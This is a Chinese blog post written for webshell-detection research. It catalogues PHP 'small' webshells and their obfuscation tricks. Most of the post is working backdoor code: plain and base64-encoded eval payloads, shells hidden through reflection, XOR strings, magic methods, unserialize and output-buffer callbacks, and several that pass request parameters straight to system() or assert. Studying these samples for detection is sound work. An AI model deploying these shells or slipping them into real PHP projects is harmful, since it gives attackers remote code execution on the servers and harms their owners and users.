php webshell探索-常见小马
webshell
- 一.何为webshell
- 二.常见小马探索
- 1.直接型
- 2.通过反射类调用
- 3.通过排序函数调用
- 4.通过类的混淆
- 1.类的魔术方法
- 2.类的自定义方法
- 3.通过反射获取类的注释
- 4.反序列化
- 5.通过函数的混淆
- 6.普通的混淆
- 7.其他的隐藏方式
- 1.ob_start
- 2.register_shutdown_function
- 3.回调函数
- 4.数组
- 5.反引号
- 三.总结
一.何为webshell
黑客通过一定途径将webshell上传至服务器具有执行权限(必须要有执行权限才可以,没有执行权限是没有用的)的WEB目录下。远程访问webshell实现控制服务器的目的。
一般来说webshell满足以下几个条件:
1.黑客上传的(不研究网站管理人员留下的)
2.服务器要开启web服务(不然没法访问)
3.脚本语言(php, python, asp, jsp等等,有人还问我有没有c, java…需要编译的语言不太方便执行吧)
其他的暂时不列举。
如何上传webshell,可以参考Webshell。
一般从github下下来的webshell可分为大马和小马。小马通常代码不多,基本上是通过各种各样的方式执行恶意代码,比如
<?php eval($_POST['a']); ?>
该脚本上传后黑客发送post命令将a参数的值设置为恶意php代码(比如打开shell等等)让服务器执行恶意代码。
大马通常代码非常大,功能齐全,包括恶意命令执行,文件删除,新建文件,数据库增删改查等等。通常没有混淆,但是if-else特别多。大马就不举例子了。
二.常见小马探索
因为论文写webshell检测,不得不统计一些webshell特征。虽然关于如何用机器学习方法检测webshell的帖子,论文不少,但很少有论文统计过webshell特点,而小马的混淆方式又非常多,索性来探索下。
关于php常见后门函数PHP常见代码执行后门函数(例如eval和assert)
关于php回调后门PHP的回调后门
关于webshell的混淆可以参考关于PHP中的webshell
1.直接型
<?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>
将恶意代码直接硬编码在代码里,解密后用eval执行。
2.通过反射类调用
<?php$func = new ReflectionFunction("system");echo $func->invokeArgs(array("$_GET[c]"));
?>
最终调用了system($_GET[c]);
3.通过排序函数调用
php5.4.8+中的assert能够接受两个参数
<?php$arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));$arr->uksort('assert');
?>
相当于assert($_REQUEST['x'])
4.通过类的混淆
1.类的魔术方法
<?php
class PNLK{function __destruct(){$FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";@$FQHZ=$FQHZ('',$this->PZAF);return @$FQHZ();}
}
$pnlk=new PNLK();
@$pnlk->PZAF=&$_POST['test'];
?>
在PNLK类的__destruct()
函数中,$FQHZ的值异或过后是create_function()
,这段代码的作用就是新建一个PNLK对象,然后PNLK对象的__destruct()
方法会在代码结束后自动执行。功能相当于
@$FQHZ = create_function('', $_POST['test']);
@$FQHZ();
这是类的__destruct()
方法,此外,new
一个对象时可以执行__construct()
方法,echo
一个对象时会执行_tostring()
方法,php的魔术方法也是需要注意的。比如
<?php
class Test
{public function __toString(){$method='sysatem';(substr($method,0,3).substr($method, 4))($_GET['arg']);return '1';}
}
$a=new Test();
echo $a;
?>
相当于system($_GET['arg'])
2.类的自定义方法
<?php
class Test
{public function testing(){return function() {$method='sysatem';(substr($method,0,3).substr($method, 4))($_GET['arg']);};}
}
$a=new Test();
$b=$a->testing();
$b();
?>
这段代码就好懂多了,就相当于system($_GET['arg'])
3.通过反射获取类的注释
<?php
/**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);
?>
最终相当于assert("eval($_GET['c'])")
4.反序列化
<?phpclass Example{var $var = '';function __destruct(){eval($this->var);}}//$exp = new Example();//$exp->var = "phpinfo();";//die(serialize($exp));unserialize($_GET['saved_code']);
?>
unserialize官方文档
若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()
成员函数(如果存在的话)。而php脚本执行完成时会执行对象的__destruct()
方法。因此会触发恶意代码(eval
)执行。
5.通过函数的混淆
<?php
$greet = function(){$method='system';(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo $greet();
?>
<?php
$greet = function(){$method='sysatem';(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
call_user_func($array['func']);
这2段代码相当于变相执行system($_GET['arg'])
6.普通的混淆
可以通过字符串变换(字符串变换,位运算,逻辑运算,正则替换等,base64,rot13等方法)
<?php
$xh = array('','s');
$xh1 = 'a'.$xh[1].'ser'.chr('116');
@$xh1($_POST['dike']);
?>
变相assert($_POST['dike'])
<?php
$qajd2="VDFOVVd5";
$vvnr1="UUdWMllX";$hitq5="d29KRjlR";$itfh2="ZGtabmg2Y1RRblhTazc=";// dfxzq4
$akmi4 = str_replace("eu2","","eu2seu2teu2reu2_reu2eeu2pleu2aeu2ce");// ulgp9
$hygg4 = $akmi4("so0", "", "so0baso0sso0e6so04so0_so0dso0eso0cso0oso0dso0e");// qbhm1
$gzsw5 = $akmi4("qik6","","qik6cqik6reqik6atqik6eqik6_fqik6uncqik6tqik6ioqik6n");// kfcs6
$foxl6 = $gzsw5('', $hygg4($hygg4($akmi4("$;*,.", "", $vvnr1.$hitq5.$qajd2.$itfh2))));
$foxl6();
?>
<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
这3段代码最终等效于什么我也算不出了,但是可以看出来进行了多次字符串变换(str_replace
, 通过.
进行字符串拼接)以及通过变量名调用函数(webshell混淆常见特征)。
7.其他的隐藏方式
1.ob_start
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
关于ob_start
函数,官方文档
原型ob_start ([ callable $output_callback = null [, int $chunk_size = 0 [, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ]]] ) : bool
,作用是打开输出缓冲
可以传入回调函数,返回值bool类型。
而output_callback
官方解释:
可选参数 output_callback
函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush()
, ob_clean()
或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback
时,它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。 如果这个output_callback
不是一个可以调用的函数,此函数会返回false
。
重点:
1.output_callback
传入1个参数
2.当调用ob_flush
或者ob_end_flush
等方法时output_callback
会被调用
3.output_callback
的参数是输出缓冲区的内容
所以上述代码会执行assert($_REQUEST['pass'])
2.register_shutdown_function
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
register_shutdown_function
— 注册一个会在php中止时执行的函数,传入的第一个参数是要执行的函数,后面的参数是该函数的参数
3.回调函数
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
4.数组
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
5.反引号
反引号中,变量转义作为shell命令被执行:
官方文档
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>
相当于echo shell_exec("ls -al");
三.总结
本文列举了些webshell及其变种类型,这里所有的webshell的行为都是执行代码(assert
, eval
)或者命令(exec
, shell_exec
)。并没有讨论文件操作,数据库操作等行为类型。
这些webshell都有一个共同点,就是一定要有数据传入($_GET
, $_POST
等或者硬编码在php脚本里)以及数据执行(assert
, eval
显式调用或者隐式调用)。
以前总是忽略echo
,print
,虽然表面上只是输出,但是结合ob_start
, ob_flush
以及自定义类的_tostring()
方法还是可以做些文章,来执行代码或者命令。
这次就先统计这么多,下次列举以下它们的opcode特征,欢迎大佬们来补充。
php webshell探索-常见小马相关推荐
- php webshell探索-常见小马的opcode
OpCode 一.php opcode 二.常见小马的opcode 1.直接型 2.通过反射类调用 3.通过排序函数调用 4.通过类的混淆 1.类的魔术方法 2.类的自定义方法 3.反序列化 5.通过 ...
- (48.1)【WAF绕过-权限控制】webshell、小马、权限脚本、权限工具
目录 一.webshell(大马) 1.1.简介: 1.2.缺点: 二.一句话木马(小马) 2.1.简介: 2.2.示例:(来自百度) 三.权限控制脚本下载: 3.1.下载: 四.提权工具 4.1.下 ...
- 十问教主楼天城:身似小马心向远,恨未智行更早时
本文经AI新媒体量子位(公众号ID:qbitai)授权转载,转载请联系出处 本文共10538字,建议阅读10分钟. 本文为你分享小马智行联合创始人及CTO楼天城的最新所思所想. 教主楼天城,创业2年半 ...
- Webshell的常见检测方法与靠谱工具推荐
目录 webshell简介 Webshell检测 1静态检测 2文件属性检测 3流量(日志)检测 4动态检测 5统计学检测 6常见的靠谱检测工具 Webshell简介 安全人员所说的Webshell的 ...
- 小马智行获2.67亿美元新融资,估值超53亿美元
11月6日,小马智行(Pony.ai)宣布获得由加拿大安大略省教师退休基金会(Ontario Teachers' Pension Plan,OTPP)旗下教师创新平台(Teachers' Innova ...
- 中国自动驾驶最大单轮融资诞生,丰田4亿美元领投小马智行
2020-02-26 14:39:00 2月26日,小马智行(Pony.ai)宣布完成4.62亿美元B轮融资,其中包括丰田汽车公司4亿美元战略投资,投后估值略高于30亿美元. 这笔融资在市场上传闻已久 ...
- 小马智行最新RoboTaxi来了!彭军:对方向有着前所未有的笃定
允中 发自 副驾寺 智能车参考 | 公众号 AI4Auto 盆友,这款车你可认识? 这是今日亮相的最新RoboTaxi,基于丰田 "赛那 SIENNA"Autono-MaaS(S- ...
- 小马智行L4无人车今日量产下线,这比融资更具里程碑意义
允中 发自 凹非寺 量子位 报道 | 公众号 QbitAI 刚官宣1亿美元C+轮新融资后,PonyAI小马智行更重要的进展今日曝光: 首批搭载其最新一代系统的自动驾驶汽车,正式从标准化产线下线. 这 ...
- 如何评价小马智行投后估值60亿美元?无人车的追涨杀跌已经开始
雷刚 发自 凹非寺 量子位 报道 | 公众号 QbitAI 半年左右,再次传出巨额融资. 自动驾驶公司PonyAI小马智行,在2月官宣丰田主导的4.62亿美元投资后,刚又被曝出了新一轮3亿美元新融资 ...
最新文章
- python制作词云时出现figure1 figure2_用Python生成词云
- 四张图彻底搞懂CNN反向传播算法(通俗易懂)
- 独家 | 别用csv存储了-这种文件格式比csv快150倍(附链接)
- Hibernate中的数据库方言(Dialect)
- 41. 包含min函数的栈【单调栈】
- vue2.0s中eventBus实现兄弟组件通信
- 使用Nexus2.x为Maven3.x搭建私服构件仓库
- mysql 字符,索引
- 港股区块链概念股走强,火币科技涨超17%
- 华泰证券首席培训张继强 债市分析框架PPT
- html5期末大作业:基于html+css+javascript+jquery+bootstarp响应式图书电商HTML模板网上书店(25页)
- 国产WMS仓库管理系统排名
- u盘中的隐藏文件该怎样恢复
- 用fiddler+chrome搞定在线学习网站
- Android 仿QQ动态背景登录
- 第十三届蓝桥杯省赛 JAVA A组 - 蜂巢
- SQL自动检查神器项目,吊炸天的功能
- Android Studio扩展显示器分屏展示多项目后窗口空白问题解决
- Jekins构建触发器Build Triggers:定时构建配置
- Unity 3D SplineMesh样条线工具扩展,链条制作,履带转动,绳子制作,调整弯曲度及一些好用的示例
热门文章
- 前后端分离实现在线音乐网站-springboot+vue
- python第一次考试_python 全栈开发,Day16(函数第一次考试)
- 最新MTK芯片型号汇总,MTK开发资料大全下载
- E - Competitive Seagulls(博弈)
- 分布式理论(六)—— Raft 算法
- 如何在 HTML中使用图标字体
- 用静息态fMRI映射人脑多巴胺能影像
- PostgreSQL存储过程-批量新增周末到节假日
- 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》
- 惊!揭秘AI人工智能机器人自动写诗的奥秘!